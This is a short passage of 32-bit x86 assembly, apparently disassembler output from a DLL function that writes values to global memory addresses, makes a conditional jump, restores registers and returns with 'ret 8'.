mov dword [0x1001105c], edx
cmp byte [0x10011010], 0
je 0x1000cead
movsx ecx, byte [esp + 0xd]
mov eax, dword [esp + 0x68]
add ecx, 0x445c
pop edi
mov byte [0x10011014], al
mov eax, 1
mov dword [0x10011094], ecx
pop esi
mov esp, ebp
pop ebp
ret 8